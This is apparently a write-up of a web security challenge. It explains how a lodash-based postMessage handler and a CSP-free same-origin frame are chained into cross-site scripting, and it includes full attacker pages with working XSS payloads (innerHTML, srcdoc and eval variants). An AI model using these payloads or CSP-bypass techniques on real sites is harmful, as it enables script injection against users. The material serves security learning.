https://www.turb0.one/pages/Challenge_Two:_Stranger_XSS.html
We are given a frameable target page on this address https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html.
The page loads three scripts
<script src="lodash.min.js">
<script src="jquery-3.6.0.min.js">
<script src="inner.js">
Where the first two are usual suspects, and the third is a custom script. The inner.js contains this
const reHydrate = event => {
const data = event.data;
if (!data || typeof data !== "object") {
log("Invalid message: not an object");
return;
}
const { base, mappings } = data;
if (!_.isObject(base) || !Array.isArray(mappings)) {
log("Invalid payload structure: expected { base, mappings[] }");
return;
}
for (const { from, to } of mappings) {
const val = _.get(event, from);
base.reqBody[to] = val;
}
return base;
}
window.addEventListener("message", event => {
const hydrated = reHydrate(event);
fetch('mockedfakeapi', {
headers: {
"Content-Type": "application/json"
},
method: 'POST',
body: hydrated.reqBody
})
}, false);
There is also a CSP on the page generated by this meta tag
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval';">
We can note a few things:
lodash is used for object attribute retrieval here _.getjquery is not usedbody: hydrated.reqBodybase.reqBody[to] = val;_.get on a postMessage event. This allows us to access window objects using event.source and event.targetThe first point will allow us to reference data in an object by a query string, like this.
var obj = {a: {b: {c: 1}}}
var value = _.get(obj, "a.b.c")
value // 1
The second point suggests that jQuery is the intended target for a script gadget. You can read about that in the official write-up here. I decided to try to break the page without touching jquery, I have gone down that rabbit hole before…
The third point is interesting and will put your JavaScript knowledge to the test. There is nothing in the syntax that tells us that there will be a function call when we reach the line body: hydrated.reqBody. But if we look at the fetch documentation we can read
You can supply the body as an instance of any of the following types:
a string ArrayBuffer TypedArray DataView Blob File URLSearchParams FormData ReadableStream
Other objects are converted to strings using their toString() method
Note that last line. Objects will be converted by calling obj.toString(). If you know your prototypes, you know that toString is a method on the Object prototype and not on the specific object. This means that we could create objects like this that would pop an alert when used as body in a fetch call
var obj = {toString: ()=>{alert()}}
fetch("/",{method: "post",body: obj})
Implicit method calls like this are present in a lot of places, and not just for toString. This is great and all, but I decided to solve this challenge without using this sink.
Which leads us to point 4. We have access to an attribute assignment. Can this be enough to trigger the sought XSS?
Suppose we want to trigger XSS using only the base.reqBody[to] = val assignment, we are limiting our search space for a solution. There are only a handful of ways to trigger JavaScript execution through assignments, and most of them are just variations of each other
// setting element HTML
elm.innerHTML = y
elm.outerHTML = y
elm.insertAdjacentHTML = y
// setting element on-* attribute
elm.onclick = y // etc..
// navigation to js links
window.location = y
iframe.src = y
// setting iframe srcdoc
iframe.srcdoc = y
We also have the CSP issue, which prevents us from running arbitrary inline scripts and blocks navigation sinks because javascript URLs are blocked. In this case, we need to examine how CSP operates when using these sinks. Let us play with the idea that we have two frames of the same origin, one with CSP and one without
// navigations originating from csp-frame will be blocked
// even when trying to navigate the frame with no CSP
parent.frames[0].location = y // block
parent.frames[1].location = y // block
// using elements and attributes in the same frame
document.body.innerHTML = y // block
// using elements in non-csp-frame
parent.frames[1].document.body.innerHTML = y // works!
For CSP, two things are interesting:
For navigations, browsers always look at the CSP on the document that tries to perform the navigation. The browser will not care about the CSP in the window being navigated. This means that even if you do parent.location = y from a page with a CSP it will block it as well if you try to assign iframe.src of another frame.
(this restriction does not apply to navigation.navigate(y) for “reasons” see example here)
On the other hand, DOM rendering, such as elm.innerHTML and iframe.srcdoc, occurs in the context of the target frame and ignores the caller’s CSP. This means we would need to use an innerHTML sink in a same-origin window to trigger the XSS.
The setup is relatively straightforward and uses one of those CSP bypass tricks everyone should know. We just generate an attacker page that will frame two pages
https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html the challenge pagehttps://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/ANYTHING.html 404 non-existing page, lacking CSPFrom the challenge page, we can now do things like parent.frames[1].document.body.innerHTML = "<img src=x onerror=alert(document.domain)>". EASY! Well, we are not there yet.
At this point, it felt easy, but I had missed one detail. We are at this point able to send a message to the challenge page, looking like this.
var payload = {base: {},
mappings: [{
from: "source.frames[1].document.body", // window reference to no-CSP window
to: "x", // Save to data.reqBody.x
}],
}
frames[0].postMessage(payload,"*")
Which would create this situation
base = {
reqBody:{
x: HTMLBody
}
}
This is not great, as data.reqBody[to] will never let us hit the innerHTML of x. I tried to bypass this using prototype pollution like this
var payload = {base: {},
mappings: [{
from: "source.frames[1].document.body", // window reference to no-CSP window
to: "__proto__", // Save to data.reqBody.__proto__
}],
}
frames[0].postMessage(payload,"*")
Which will give us this
base = {
reqBody: HTMLBodyElement
}
And this looked promising as HTMLBodyElement is the prototype of body elements and has an innerHTML property! Unfortunately, having access to a prototype is not the same as having a reference to an instance of HTMLBodyElement. When trying to assign to base.reqBody["innerHTML"], we get an Illegal invocation error.
At this point, I was ready to give up You only have that much time in a day as a father of four. But while lying in bed contemplating my attempts, I had an epiphany:
I fell asleep but woke early to test my hypothesis.
The final piece of the puzzle is to control the object pointed to by data.reqBody. It’s controllable by our attacker page, but postMessage will only allow plain objects or other data that survives the structured clone algorithm. Luckily for us, this object is allowed.
var payload = {}
payload.reqBody = payload // {reqBody: {reqBody: {reqBody: ...etc...}}}
Remember that object attributes are just “pointers” to other objects or values. Nothing is stopping an object attribute from pointing to the same object that it’s a part of. We can now use this payload
var payload = {base: {},
mappings: [{
from: "source.frames[1].document.body", // window reference to no-CSP window
to: "reqBody", // overwrite the attribute that is being written to!
},{
from: "data.xss", // get our xss payload
to: "innerHTML", // write to innerHTML
}],xss: "<img src=x onerror=alert(document.domain)>" // payload
}
payload.base.reqBody = payload.base
frames[0].postMessage(payload,"*")
This will do the following:
mapping it will call something equal to base.reqBody["reqBody"] = source.frames[1].document.body; and make it so that base.reqBody is pointing to the body element from the non-CSP window.base.reqBody["innerHTML"] = "<img src=x onerror=alert(document.domain)>" where base.reqBody is now a real elementFull attacker page:
<script>
function run() {
var payload = {
base: {},
mappings: [
{
from: "source.frames[1].document.body",
to: "reqBody"
}, {
from: "data.xss",
to: "innerHTML"
}
],
xss: "<img src=x onerror=alert(document.domain)>"
}
payload.base.reqBody = payload.base
frames[0].postMessage(payload, "*")
}
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html"></iframe>
<iframe src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/ERROR.html"></iframe>
Bonus: given our newfound knowledge, we could also solve the challenge in other ways. Try to understand why this works.
<script>
function run() {
var payload = {
base: {},
mappings: [
{
from: "source.frames[0].frames[0].frameElement",
to: "reqBody"
}, {
from: "data.xss",
to: "srcdoc"
}
],
xss: "<script>alert(document.domain)\u003c/script>"
}
payload.base.reqBody = payload.base
frames[0].frames[0].postMessage(payload, "*")
}
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/outer.html"></iframe>
And then this modification was created by Turb0 himself after I first sent my solution
<script>
function run() {
var payload = {
base: {},
"mappings": [
{
"from": "target.Array",
"to": "reqBody"
}, {
"from": "target.eval",
"to": "isArray"
}
]
}
payload.base.reqBody = payload.base
frames[0].postMessage(payload, "*")
// This is needed to survive the fetch error
setTimeout(() => frames[0].postMessage({
base: {},
mappings: 'alert(origin)'
}, '*'), 500)
}
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html"></iframe>